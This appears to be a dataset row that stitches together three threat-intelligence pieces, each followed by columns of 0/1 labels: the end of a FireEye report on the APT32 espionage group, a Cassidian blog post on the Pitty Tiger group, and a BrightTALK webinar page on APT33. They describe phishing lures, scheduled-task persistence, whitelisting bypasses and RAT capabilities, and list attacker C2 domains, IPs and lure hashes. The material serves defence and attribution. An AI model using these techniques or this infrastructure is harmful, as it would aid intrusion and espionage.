target of APT32 intrusion operations. Table 1 shows a breakdown of APT32 activity, including the malware families used in each. Year Country Industry Malware 2014 Vietnam Network Security WINDSHIELD 2014 Germany Manufacturing WINDSHIELD 2015 Vietnam Media WINDSHIELD 2016 Philippines Consumer products KOMPROGO WINDSHIELD SOUNDBITE BEACON \xc2 2016 Vietnam Banking WINDSHIELD 2016 Philippines Technology Infrastructure WINDSHIELD 2016 China Hospitality WINDSHIELD 2016 Vietnam Media WINDSHIELD 2016 United States Consumer Products WINDSHIELD PHOREAL BEACON SOUNDBITE Table 1: APT32 Private Sector Targeting Identified by FireEye APT32 Interest in Political Influence and Foreign Governments In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign governments, as well as Vietnamese dissidents and journalists since at least 2013. Here is an overview of this activity: A public blog published by the Electronic Frontier Foundation indicated that journalists, activists, dissidents, and bloggers were targeted in 2013 by malware and tactics consistent with APT32 operations. In 2014, APT32 leveraged a spear-phishing attachment titled \xe2\x80\x9cPlans to crackdown on protesters at the Embassy of Vietnam.exe,"" which targeted dissident activity among the Vietnamese diaspora in Southeast Asia. Also in 2014, APT32 carried out an intrusion against a Western country\xe2\x80\x99s national legislature. In 2015, SkyEye Labs, the security research division of the Chinese firm Qihoo 360, released a report detailing threat actors that were targeting Chinese public and private entities including government agencies, research institutes, maritime agencies, sea construction, and shipping enterprises. The information included in the report indicated that the perpetrators used the same malware, overlapping infrastructure, and similar targets as APT32. In 2015 and 2016, two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32. In 2017, social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines. APT32 Tactics In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros. Upon execution, the initialized file downloads multiple malicious payloads from remote servers. APT32 actors continue to deliver the malicious attachments via spear-phishing emails. APT32 actors designed multilingual lure documents which were tailored to specific victims. Although the files had \xe2\x80\x9c.doc\xe2\x80\x9d file extensions, the recovered phishing lures were ActiveMime \xe2\x80\x9c.mht\xe2\x80\x9d web page archives that contained text and images. These files were likely created by exporting Word documents into single file web pages. Table 2 contains a sample of recovered APT32 multilingual lure files. ActiveMime Lure Files MD5 2017\xe5\xb9\xb4\xe5\x91\x98\xe5\xb7\xa5\xe5\xb7\xa5\xe8\xb5\x84\xe6\x80\xa7\xe6\xb4\xa5\xe8\xb4\xb4\xe9\xa2\x9d\xe7\xbb\x9f\xe8\xae\xa1\xe6\x8a\xa5\xe5\x91\x8a.doc (2017\xc2 Statistical Report on Staff\xc2 Salary\xc2 and Allowances) 5458a2e4d784abb1a1127263bd5006b5 Thong tin.doc (Information) ce50e544430e7265a45fab5a1f31e529 Phan Vu Tutn CV.doc 4f761095ca51bfbbf4496a4964e41d4f Ke hoach cuu tro nam 2017.doc (2017 Bailout Plan) e9abe54162ba4572c770ab043f576784 Instructions to GSIS.doc fba089444c769700e47c6b44c362f96b Hoi thao truyen thong doc lap.doc (Traditional Games) f6ee4b72d6d42d0c7be9172be2b817c1\xc2 Gi\xe1\xba\xa5y y\xc3\xaau c\xe1\xba\xa7u b\xe1\xbb\x93i th\xc6\xb0\xe1\xbb\x9dng m\xe1\xbb\x9bi 2016 - h\xe1\xba\xb1ng.doc (New 2016 Claim Form) aa1f85de3e4d33f31b4f78968b29f175 Hoa don chi tiet tien no.doc (Debt Details) 5180a8d9325a417f2d8066f9226a5154 Thu moi tham du Hoi luan.doc (Collection of Participants) f6ee4b72d6d42d0c7be9172be2b817c1 Danh sach nhan vien vi pham ky luat.doc (List of Employee Violations) 6baafffa7bf960dec821b627f9653e44 \xc2 No\xcc\xa3\xcc\x82i-dung-qua\xcc\x89ng-ca\xcc\x81o.doc (Internal Content Advertising) 471a2e7341f2614b715dc89e803ffcac H\xc4\x90 DVPM-VTC 31.03.17.doc f1af6bb36cdf3cff768faee7919f0733 Table 2: Sampling of APT32 Lure Files The Base64 encoded ActiveMime data also contained an OLE file with malicious macros. When opened, many lure files displayed fake error messages in an attempt to trick users into launching the malicious macros. Figure 1 shows a fake Gmail-theme paired with a hexadecimal error code that encourages the recipient to enable content to resolve the error. Figure 2 displays another APT32 lure that used a convincing image of a fake Windows error message instructing the recipient to enable content to properly display document font characters. Figure 1: Example APT32 Phishing Lure \xe2\x80\x93 Fake Gmail Error Message Figure 2: Example APT32 Phishing Lure \xe2\x80\x93 Fake Text Encoding Error Message APT32 operators implemented several novel techniques to track the efficacy of their phishing, monitor the distribution of their malicious documents, and establish persistence mechanisms to dynamically update backdoors injected into memory. In order to track who opened the phishing emails, viewed the links, and downloaded the attachments in real-time, APT32 used cloud-based email analytics software designed for sales organizations. In some instances, APT32 abandoned direct email attachments altogether and relied exclusively on this tracking technique with links to their ActiveMime lures hosted externally on legitimate cloud storage services. To enhance visibility into the further distribution of their phishing lures, APT32 utilized the native web page functionality of their ActiveMime documents to link to external images hosted on APT32 monitored infrastructure. Figure 3 contains an example phishing lure with HTML image tags used for additional tracking by APT32. Figure 3: Phishing Lure Containing HTML Image Tags for Additional Tracking When a document with this feature is opened, Microsoft Word will attempt to download the external image, even if macros were disabled. In all phishing lures analyzed, the external images did not exist. Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images. When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms. Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system. The first named scheduled task launched an application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first backdoor from APT32\xe2\x80\x99s infrastructure and injected it into memory. The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script. In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup. To illustrate the complexity of these lures, Figure 4 shows the creation of persistence mechanisms for recovered APT32 lure \xe2\x80\x9c2017\xe5\xb9\xb4\xe5\x91\x98\xe5\xb7\xa5\xe5\xb7\xa5\xe8\xb5\x84\xe6\x80\xa7\xe6\xb4\xa5\xe8\xb4\xb4\xe9\xa2\x9d\xe7\xbb\x9f\xe8\xae\xa1\xe6\x8a\xa5\xe5\x91\x8a.doc\xe2\x80\x9d. Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks In this example, a scheduled task named \xe2\x80\x9cWindows Scheduled Maintenance\xe2\x80\x9d was created to run Casey Smith\xe2\x80\x99s \xe2\x80\x9cSquiblydoo\xe2\x80\x9d App Whitelisting bypass every 30 minutes. While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (\xe2\x80\x9c.sct\xe2\x80\x9d file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info. Meterpreter then loaded Cobalt Strike BEACON, configured to communicate with 80.255.3[.]87 using the Safebrowsing malleable C2 profile to further blend in with network traffic. A second scheduled task named \xe2\x80\x9cScheduled Defrags\xe2\x80\x9d was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016. This second task ran \xe2\x80\x9cmshta.exe\xe2\x80\x9d every 50 minutes which launched an APT32-specific backdoor delivered as shellcode in a PowerShell script, configured to communicate with the domains blog.panggin[.]org, share.codehao[.]net, and yii.yiihao126[.]net. Figure 5 illustrates the chain of events for a single successful APT32 phishing lure that dynamically injects two multi-stage malware frameworks into memory. Figure 5: APT32 Phishing Chain of Events The impressive APT32 operations did not stop after they established a foothold in victim environments. Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon\xe2\x80\x99s Invoke-Obfuscation framework. APT32 regularly used stealthy techniques to blend in with legitimate user activity: During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix. In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol. APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it. Another backdoor used an otherwise legitimate DLL filename padded with a non-printing OS command control code. APT32 Malware and Infrastructure APT32 appears to have a well-resourced development capability and uses a custom suite of backdoors spanning multiple protocols. APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD, KOMPROGO, SOUNDBITE, and PHOREAL. APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor. APT32 may also possess backdoor development capabilities for macOS. The capabilities for this unique suite of malware is shown in Table 3. Malware Capabilities WINDSHIELD Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports \xe2\x80\x93 randomly-chosen C2/port for communications Registry manipulation Get the current module's file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly KOMPROGO Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system SOUNDBITE C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering PHOREAL C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload BEACON (Cobalt Strike) Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB Table 3: APT32 Malware and Capabilities APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure. The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions. Figure 6 provides a summary of APT32 tools and techniques mapped to each stage of the attack lifecycle. Figure 6: APT32 Attack Lifecycle Outlook and Implications Based on incident response investigations, product detections, and intelligence observations along with additional publications on the same operators, FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests. The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in, or preparing to invest in, the country. While the motivation for each APT32 private sector compromise varied \xe2\x80\x93 and in some cases was unknown \xe2\x80\x93 the unauthorized access could serve as a platform for law enforcement, intellectual property theft, or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations. Furthermore, APT32 continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide. Governments, journalists, and members of the Vietnam diaspora may continue to be targeted. While actors from China, Iran, Russia, and North Korea remain the most active cyber espionage threats tracked and responded to by FireEye, APT32 reflects a growing host of new countries that have adopted this dynamic capability. APT32 demonstrates how accessible and impactful offensive capabilities can be with the proper investment and the flexibility to embrace newly-available tools and techniques. As more countries utilize inexpensive and efficient cyber operations, there is a need for public awareness of these threats and renewed dialogue around emerging nation-state intrusions that go beyond public sector and intelligence targets. APT32 Detection Figure 7 contains a Yara rule can be used to identify malicious macros associated with APT32\xe2\x80\x99s phishing lures: Figure 7: Yara Rule for APT32 Malicious Macros Table 4 contains a sampling of the infrastructure that FireEye has associated with APT32 C2. C2 Infrastructure 103.53.197.202 104.237.218.70 104.237.218.72 185.157.79.3 193.169.245.78 193.169.245.137 23.227.196.210 24.datatimes.org 80.255.3.87 blog.docksugs.org blog.panggin.org contay.deaftone.com check.paidprefund.org datatimes.org docksugs.org economy.bloghop.org emp.gapte.name facebook-cdn.net gap-facebook.com gl-appspot.org help.checkonl.org high.expbas.net high.vphelp.net icon.torrentart.com images.chinabytes.info imaps.qki6.com img.fanspeed.net job.supperpow.com lighpress.info menmin.strezf.com mobile.pagmobiles.info news.lighpress.info notificeva.com nsquery.net pagmobiles.info paidprefund.org push.relasign.org relasign.org share.codehao.net seri.volveri.net ssl.zin0.com static.jg7.org syn.timeizu.net teriava.com timeizu.net tonholding.com tulationeva.com untitled.po9z.com update-flashs.com vieweva.com volveri.net vphelp.net yii.yiihao126.net zone.apize.net Table 4: Sampling of APT32 C2 Infrastructure Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","1","0","1","1","1","1","0","1","0","1","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0" -"CASSIDIAN CyberSecurity Blog The Eye of the Tiger By David Bizeul, Ivan Fontarensky, Ronan Mouchoux, Fabien Perigaud, Cedric Pernet on 2014/07/11, 11:00 - Investigation - Permalink APTPitty TigerPublicationThreat IntelligenceWhite paper Cyber espionage has been a hot topic through the last years. Computer attacks known as \xe2\x80\x9cAPT\xe2\x80\x9d (Advanced Persistent Threat) have become widely reported and emphasized by the media, damages are now considered as real and strategic trends are moving in cyber defense. Today, we decided to release publicly information on a specific group of APT attackers known as \xe2\x80\x9cPitty Tiger\xe2\x80\x9d. This information comes directly from investigations led by our Threat Intelligence and enlights the activities of a structured organization working in the APT field. You can get more information in our Whitepaper. Pitty Tiger investigation context During our regular investigations on APT cases, one particular variant of malware caught our attention, because we had not faced it before. We decided to spend some time to investigate around this malware and found out that it was used exclusively by a single group of attackers. This malware family is known as \xe2\x80\x9cPittyTiger\xe2\x80\x9d by the anti-virus community. We discovered this malware sample in June 2014, leading to a command & control (c&c) server still in activity. Our researches around the malware family revealed the \xe2\x80\x9cPitty Tiger\xe2\x80\x9d group has been active since 2011, yet we found traces which makes us believe the group is active since 2010. This group uses other malware and tools during their APT operations, in addition to the PittyTiger RAT. The main malware are: PittyTiger Troj/ReRol.A CT RAT MM RAT (aka Troj/Goldsun-B) Paladin RAT (a variant of Gh0st RAT) Infection methods The Pitty Tiger group mostly uses spear phishing in order to gain an initial foothold within the targeted environment. The group exploits known vulnerabilities in Microsoft Office products to infect their targets with malware. Pitty Tiger group is sometimes using stolen material as spear phishing content to target other persons. They have also been seen using HeartBleed vulnerability in order to directly get valid credentials. Malware information One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability (CVE-2012-0158). The group could also use CVE-2014-1761, which is more recent. The payload infecting the system is malware known as \xe2\x80\x9cTroj/ReRol.A\xe2\x80\x9d. It is generally the first step of the initial compromise for Pitty Tiger campaigns. Once compromised, PittyTiger rat is often installed. This RAT is the origin of the attackers\xe2\x80\x99 group name. \xe2\x80\x9cPittyTiger\xe2\x80\x9d is a mutex used by the malware. \xe2\x80\x9cPitty Tiger\xe2\x80\x9d is also a string transmitted in the network communications of the RAT. But things are changing. CT RAT seems to be an evolution of PittyTiger, since a specific server binary we found could handle both requests from CT and PittyTiger, and was indicated as compatible with PittyTiger. Moreover, the same commands are implemented in both RATs. As a matter of fact, this group does neither use one favorite RAT nor two but many... We named as \xe2\x80\x9cMM RAT\xe2\x80\x9d a specific code at the beginning of our investigation, before we found an existing name for it, \xe2\x80\x9cTroj/Goldsun-B\xe2\x80\x9d according to Sophos. This is another remote administration tool often used by the Pitty Tiger crew. Paladin RAT is another remote administration tool used by the Pitty Tiger group. This malware is a variant of the infamous Gh0st RAT . Our specific sample uses \xe2\x80\x9cssss0\xe2\x80\x9d instead of the usual \xe2\x80\x9cGh0st\xe2\x80\x9d header for network communications. The commands ID used in the communication protocol have also changed, but the features are quite the same. Additionally to the Paladin RAT previously mentionned, we found another variant of Gh0st RAT, named \xe2\x80\x9cLeo\xe2\x80\x9d. Although we have found it on a c&c server of the group, there is no evidence that is has been used by the group, in opposition to Paladin which is used often by Pitty Tiger. INFRASTRUCTURE Our investigation has focused on three particular c&c servers used by the group. These c&c servers, unlike the other c&cs used by the group, had one very common flaw: the attackers had misconfigured the access control of several folders. Once parsed and dumped, it provided us more insight. Pitty Tiger, like other APT attackers, often use anti-virus \xe2\x80\x9cfamiliar names\xe2\x80\x9d when registering domains or creating subdomains. Some examples can be avstore.com.tw, sophos.skypetm.com.tw, symantecs.com.tw, trendmicro.org.tw etc. We have been able to list the main domains registered and used by Pitty Tiger as c&c servers: gantt2.png VICTIMS Mapping the victims of such a targeted campaign is not an easy task. We have found the Pitty Tiger group to be very active against one particular private company from the defense industry and one academic network of a government, , yet we think it was done to be used as a proxy for some of the group\xe2\x80\x99s operations. We have also found some connections from other companies to the c&c servers, yet we did not find evidence that they were real victims. These supposed victims do work in different sectors and are located mostly in European countries. 1 company from the defense industry; 1 company from the energy industry; 1 company from the telecommunications industry; 1 company specialized in web development. ATTACKERS We found out interesting information about the Pitty Tiger group. We have been able to get all the RDP connections to one c&c server: RDP1.png These connections are either VPS or dynamic IP addresses, mostly from China. ROLES AND ORGANIZATION According to indicators we gathered and threat activities profiling we have some hypothesis on the way the group is conducting its operations. We have strong evidence of a bot operator position. We identify one nickname for this position, the user known as TooT. As we did not see other nickname, we think that TooT is one person and not a group of persons. We also identified a malware development position. We identified two nicknames for this position on the current campaign, Automn Snow (\xe7\xa7\x8b\xe9\x9b\xaa) and Cold Air Kiss ( \xe9\xa3\x8e\xe5\x90\xbb\xe5\xaf\x92). Yet we are unsure that they belong to the group, they might just be a third party providing or selling their malware. We have a strong suspicion of a coordinator position, which coordinates the bot operator, provides him with some logistics support (weaponized document, tools\xe2\x80\xa6) and reviews the programmers work. This position could imply a communication channel with another manager. We named this position \xe2\x80\x98Chen\xe2\x80\x99, in relation with several references of this common Chinese name in c&c WHOIS and other investigation materials. We have some suspicion of a customer relationship manager position that may act as an interface between a customer and Chen. We named this position \xe2\x80\x98Lilly\xe2\x80\x99. pt-struct.png A proposal for Pitty Tiger team structure ATTACKERS ARSENAL The c&c servers used by the attackers revealed a lot of interesting files stored in various folders, building a real attackers arsenal of malware and tools: Malware (Troj/ReRol.A) Remote Administration Tools (MM RAT, CT RAT, Pitty Tiger, Paladin) E-mail espionage tools (cp.exe, mailpv.exe) Passwords dumpers (gsecdump, NirSoft tools, Mimikatz etc.) Network scanners (pr.exe) Network-oriented tools (po.exe) Vulnerability scanners (ssql.exe, Fluxay, etc.) What is rare to find is the controller part of those tools. We have been lucky enough to get the controller part of Pitty Tiger and CT RAT, and even to get a kind of hybrid controller made for CT RAT but also supporting Pitty Tiger. We suppose that the CT RAT is the new evolution of Pitty Tiger and that it will replace Pitty Tiger in the following months. The presence of a Chinese version of \xe2\x80\x9ccalc.exe\xe2\x80\x9d, the official calculator provided in Microsoft Windows, is interesting. Not only is it one more indicator of a probable Chinese origin, but also an indicator that this server was probably used as a test base, in addition to being operational and controlling infected machines from different targets. ATTRIBUTION Determining who is exactly behind an APT campaign is difficult. We tried to extract different technical indicators, together with contextual elements. Information relating to the tools used by the attackers has been leveraged for attribution: Several Chinese vulnerability scanners have been launched against targets; Several Chinese tools have been used and found on the c&c servers of the attackers: 8uFTP, a Chinese version of calc.exe, etc.; Two of the used RATs have been developed by the same developers: CT RAT and PittyTiger RAT. The controllers for these RATs show Chinese language; Several binaries used by the attackers show either \xe2\x80\x9cChinese - China\xe2\x80\x9d or \xe2\x80\x9cChinese-Taiwan\xe2\x80\x9d language ID in their resources; A decoy Word document has been found, written in Chinese language; The IP addresses used for the hosting of the c&c domains are mainly located in Taipei (Ta\xc3\xafwan) and Hong Kong City (Hong Kong Special Administrative Region, PRC): hostingcc.png All the items listed in this part are strong indicators that the attackers might be Chinese. Read the full Whitepaper for more information","0","0","0","1","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"APT33: New\xc2 Insights into Iranian Cyber Espionage Group All BrightTALK Business Management Finance Human Resources Information Technology Legal Marketing Research & Development Sales Hi [[ session.user.profile.firstName ]] Manage Channels I own My feed Watch later My viewing history My channels Add profile photo Change profile photo Edit profile Log out Navigation Search Summits Communities All BrightTALK Information Technology Legal Human Resources Finance Marketing Sales Business Management Research & Development Log in Join now My account Manage Channels I own My feed Watch later My viewing history My channels Edit profile Log out Search Summits Communities All BrightTALK Information Technology Legal Human Resources Finance Marketing Sales Business Management Research & Development Log in Join now My account Manage Channels I own My feed Watch later My viewing history My channels Edit profile Log out Share this content Share on LinkedIn Share on Twitter Share on Facebook Share on Google+ Embed APT33: New\xc2 Insights into Iranian Cyber Espionage Group Recent investigations by\xc2 FireEye\xe2\x80\x99s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis\xc2 have given us a more complete picture of a suspected Iranian threat group, that we believe has been operating since at least 2013.\xc2 \xc2 Join us in a live webinar as we discuss this threat group whom we asses to be involved in a long-term, resource intensive cyber espionage operation motivated by the prospect of collecting strategic intelligence, including information related to the aviation and energy industries, which would ultimately benefit a nation-state or military sponsor. \xc2 Register today to gain deeper insights into this threat group! ...more ...less Recorded Sep 21 2017 49 mins Your place is confirmed, we'll send you email reminders Add to calendar Outlook iCal Google Watch for free Presented by Stuart Davis, Director, Mandiant; Nick Carr, Senior Manager, TORE Detection & Analysis Watch later Viewing Certificate Presentation preview: Related topics: cyber espionage threat group apt33 more\xe2\x80\xa6 Channel Channel profile FireEye EMEA Up Down Misurare e migliorare l\xe2\x80\x99efficacia degli investimenti cyber con FireEye/Verodin. Oct 2 2019 12:00 pm UTC 45 mins Marco Riboli, Vice President, Southern Europe, FireEye e Gabriele Zanoni, Systems Engineer, Italia, FireEye Verodin ha sviluppato una tecnologia di \xe2\x80\x9cSecurity Instrumentation\xe2\x80\x9d per valutare l\xe2\x80\x99efficacia dei sistemi di sicurezza. Con Verodin, FireEye estende la propria capacit\xc3 di aiutare i clienti ad adottare un approccio proattivo nell\xe2\x80\x99identificazione e nella mitigazione dei rischi dovuti ad errate configurazioni, ad inefficienze nei prodotti o processi di sicurezza in azienda. Verodin mette alla prova i sistemi di security come SIEM, FW,Proxy, Endpoint, Email, DLP, Cloud etc\xe2\x80\xa6 e suggerisce le attivit\xc3 di Remediation; rimuove i presupposti e permette di valutare oggettivamente l\xe2\x80\x99esposizione agli attacchi, grazie al monitoraggio ed al test dei prodotti e dei processi di sicurezza. Registrati al webinar e scopri come FireEye grazie alle nuove funzionalit\xc3 Verodin: \xe2\x80\xa2Valuta la priorit\xc3 sugli investimenti Security in relazione all\xe2\x80\x99esposizione alle minacce. \xe2\x80\xa2Fornisce uno strumento per massimizzare gli investimenti gi\xc3 fatti con indicazioni su come ottimizzare i prodotti sia On-Premise sia in Cloud. \xe2\x80\xa2Fornisce Allarmi su cambiamenti non tracciati o non voluti che potrebbero comportare un aumento del rischio di attacchi sia On-Premise sia in Cloud. \xe2\x80\xa2Estende il perimetro ai sistemi Scada e ICS, verificando le comunicazioni fra le reti OT ed IT e dando prova delle effettive restrizioni. \xe2\x80\xa2Permette di verificare le Golden Image aziendali e gli Endpoint rispetto ad attacchi distruttivi come quelli Ransomware. \xe2\x80\xa2Permette di verificare la bont\xc3 dei sistemi DLP e di effettuare test automatizzati e replicabili di Data Exfiltration. Il risultato \xc3\xa8 di estremo interesse per i SOC Manager, i CISO e il Board. Registrati al webinar ORA! Save your seat \xd0\x94\xd0\xb0 \xd1\x81\xd0\xb5 \xd1\x81\xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb8\xd0\xbc \xd1\x81 \xd0\xbd\xd0\xb0\xd0\xb9-\xd0\xbd\xd0\xb0\xd0\xbf\xd1\x80\xd0\xb5\xd0\xb4\xd0\xbd\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8 \xd1\x87\xd1\x80\xd0\xb5\xd0\xb7 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xbd\xd0\xb0 FireEye Oct 1 2019 12:00 pm UTC 60 mins Zlatomir Milanov, System Engineer, Computer 2000 \xd0\x92\xd1\x81\xd0\xb5 \xd0\xbd\xd1\x8f\xd0\xba\xd0\xbe\xd0\xb3\xd0\xb0 \xd0\xbc\xd0\xbe\xd0\xb6\xd0\xb5 \xd0\xb4\xd0\xb0 \xd1\x81\xd0\xb5 \xd1\x81\xd0\xbb\xd1\x83\xd1\x87\xd0\xb8 \xd0\xbd\xd1\x8f\xd0\xba\xd0\xbe\xd0\xb9 \xd0\xbe\xd1\x82 \xd0\xb2\xd0\xb0\xd1\x88\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbe\xd1\x80\xd0\xb3\xd0\xb0\xd0\xbd\xd0\xb8\xd0\xb7\xd0\xb0\xd1\x86\xd0\xb8\xd1\x8f \xd0\xbf\xd0\xbe \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbd\xd0\xb8\xd0\xbc\xd0\xb0\xd0\xbd\xd0\xb8\xd0\xb5 \xd0\xb4\xd0\xb0 \xd1\x81\xd1\x82\xd0\xb0\xd0\xbd\xd0\xb5 \xd0\xb1\xd1\x80\xd1\x8a\xd0\xbd\xd0\xba\xd0\xb0 \xd0\xb2\xd1\x8a\xd0\xb2 \xd0\xb2\xd0\xb5\xd1\x80\xd0\xb8\xd0\xb3\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbe\xd1\x82 \xd1\x81\xd1\x8a\xd0\xb1\xd0\xb8\xd1\x82\xd0\xb8\xd1\x8f, \xd0\xb2\xd0\xbe\xd0\xb4\xd0\xb5\xd1\x89\xd0\xb8 \xd0\xb4\xd0\xbe \xd0\xba\xd0\xb8\xd0\xb1\xd0\xb5\xd1\x80\xd0\xb0\xd1\x82\xd0\xb0\xd0\xba\xd0\xb0. \xd0\x9d\xd1\x8f\xd0\xba\xd0\xbe\xd0\xb9 \xd0\xbc\xd0\xbe\xd0\xb6\xd0\xb5 \xd0\xb4\xd0\xb0 \xd0\xbe\xd1\x82\xd0\xb2\xd0\xbe\xd1\x80\xd0\xb8 \xd0\xb7\xd0\xbb\xd0\xbe\xd0\xbd\xd0\xb0\xd0\xbc\xd0\xb5\xd1\x80\xd0\xb5\xd0\xbd \xd0\xb8\xd0\xbc\xd0\xb5\xd0\xb9\xd0\xbb, 90% \xd0\xbe\xd1\x82 \xd0\xba\xd0\xb8\xd0\xb1\xd0\xb5\xd1\x80\xd0\xb0\xd1\x82\xd0\xb0\xd0\xba\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbe\xd1\x87\xd0\xb2\xd0\xb0\xd1\x82 \xd1\x81 \xd0\x95\xd0\x94\xd0\x98\xd0\x9d \xd0\x98\xd0\x9c\xd0\x95\xd0\x99\xd0\x9b! \xd0\x97\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8\xd1\x82\xd0\xb5 \xd0\xbc\xd0\xbe\xd0\xb3\xd0\xb0\xd1\x82 \xd0\xb4\xd0\xb0 \xd0\xb2\xd0\xbb\xd0\xb8\xd0\xb7\xd0\xb0\xd1\x82 \xd0\xb8 \xd0\xbf\xd1\x80\xd0\xb5\xd0\xb7 \xd0\xba\xd1\x80\xd0\xb0\xd0\xb9\xd0\xbd\xd0\xb8\xd1\x82\xd0\xb5 \xd1\x82\xd0\xbe\xd1\x87\xd0\xba\xd0\xb8 \xd0\xb8 \xd0\xb4\xd0\xb0 \xd1\x81\xd0\xb5 